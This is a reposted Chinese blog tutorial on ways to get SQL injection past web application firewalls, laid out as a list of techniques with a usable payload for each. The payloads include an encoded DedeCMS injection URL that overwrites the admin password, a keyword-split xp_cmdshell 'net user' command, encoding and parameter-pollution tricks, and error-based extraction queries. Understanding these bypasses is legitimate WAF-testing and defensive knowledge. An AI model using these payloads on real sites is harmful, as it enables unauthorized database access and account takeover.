黑客是如何绕过WAF的

简介:

1.什么是WAF

 Web Application Firewall  

 通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击。  

 目前主要有单设备WAF与云WAF


2.WAF的现状

1.太多数WAF能够拦截较为普通的WEB攻击  
2.大多数WAF没有针对热点漏洞奇葩攻击EXP防御的能力 
3.基本所有的WAF都存在策略性绕过
4.由于waf的业务限制等各种原因导致存在通用绕过 



3.WAF应用分析


举例DEDECMS的一个变量注入漏洞

http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35



请求过程示意图(单向)


wKioL1OKlqOitFkeAAErrNBJXBU565.jpg



WAF接收请求会先做什么

wKiom1OKls-gxVajAADTZQueCwk979.jpg



WAF逻辑漏洞及白名单阶段的绕过

  • 搜索引擎白名单(判断引擎方式不严)

  • IP段白名单绕过  

  • 目录白名单绕过

  • 绕过代理直接请求源站(代理模式云WAF) 



WAF确认身份后的事


wKioL1OKlqPSVW6fAAD-PiO0s_Q929.jpg



WAF数据包解析阶段的绕过(通用型绕过)


一、各种编码绕过

1.?id=1 union select pass from admin limit 1 ?id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31


2.?id=1 union select pass from admin limit 1 ?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1


二、复参数绕过 1.?id=1 union select 1&id=pass from admin

wKiom1OKltDSYlsUAADZqvhVr1M930.jpg



三、异常Method绕过

csadsl /1.php?id=1 and 1=1 HTTP/1.1

Host: www.cnseay.com Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive



四、编码方式绕过(urlencoded/mutipart)

wKioL1OKmCbRd1Y1AAI80YVLXPs820.jpg



解析阶段绕过 --最具杀伤力(一)

1.各种编码绕过

2.复参数绕过(依赖Server)

3.特殊字符污染绕过(截断/%/09-0d等)

4.异常Method绕过

5.编码方式绕过(urlencoded/from-data)

6.超大数据包绕过

7.数据包分块传输绕过



WAF解析数据包后的那些事(单向)


wKiom1OKltCRq2A5AAE4N5NeeOI362.jpg



WAF规则策略阶段的绕过--规则网

一、数据库特殊语法绕过  

1.mysql .符号和~符号和!符号以及+和-号连接

?id=1.union%0aselect@1,2 ,!3,4

wKioL1OKlqSijGT2AAGLf3FTQxE702.jpg



二、关键字拆分绕过

hackwuhen.blog.51cto.com/1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')


wKiom1OKltGCTEAqAAFSQpR0C-I498.jpg



三、请求方式差异规则松懈性绕过

GET /id=1 union select 1,2,3,4 ---拦截 POST 

id=1 union select 1,2,3,4 ---绕过  

waf业务限制,POST规则相对松懈



四、冷门函数/标签绕过

1. /1.php?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

2. /1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 

wKioL1OKlqWyABPnAADllXKpZxg339.jpg



WAF规则策略阶段的绕过总结(一)

1.字母大小写转换

2.数据库特殊语法绕过

3.关键字拆分绕过

4.请求方式差异规则松懈性绕过

5.多URL伪静态绕过

6.白字符绕过

7.冷门函数/标签绕过





     本文转自Tar0 51CTO博客,原文链接:http://blog.51cto.com/tar0cissp/1420813,如需转载请自行联系原作者

相关文章
|
7月前
|
存储 安全 网络协议
绕过WAF和多个防护软件提权案例
绕过WAF和多个防护软件提权案例
91 0
|
2月前
|
安全
WAF绕过 -- and判断
WAF绕过 -- and判断
23 0
|
2月前
|
数据库
最简单的WAF绕过方式
最简单的WAF绕过方式
85 0
|
11月前
|
SQL 安全 网络安全
SQL注入-WAF绕过
SQL注入-WAF绕过
|
安全
WAF绕过 -- and判断
WAF绕过 -- and判断
85 0
WAF绕过 -- and判断
|
数据库
最简单的WAF绕过方式
最简单的WAF绕过方式
734 0
最简单的WAF绕过方式
|
数据采集 安全 数据库
某教程学习笔记(一):23、WAF绕过
某教程学习笔记(一):23、WAF绕过
224 0
某教程学习笔记(一):23、WAF绕过
|
程序员 Shell 测试技术
文件上传-PHP异或绕过WAF
文件上传-PHP异或绕过WAF
文件上传-PHP异或绕过WAF
|
SQL 安全 数据库
sqli笔记-基于错误的SQL注入与WAF绕过
正文 测试的是登陆功能,此功能会向数据库发送查询的请求,这里我们仔细来看一下,获取我的数据并通过 POST 请求发送。 工具使用的是Burp Suite,这里拦截了请求并将其发送到repeater:
258 0
sqli笔记-基于错误的SQL注入与WAF绕过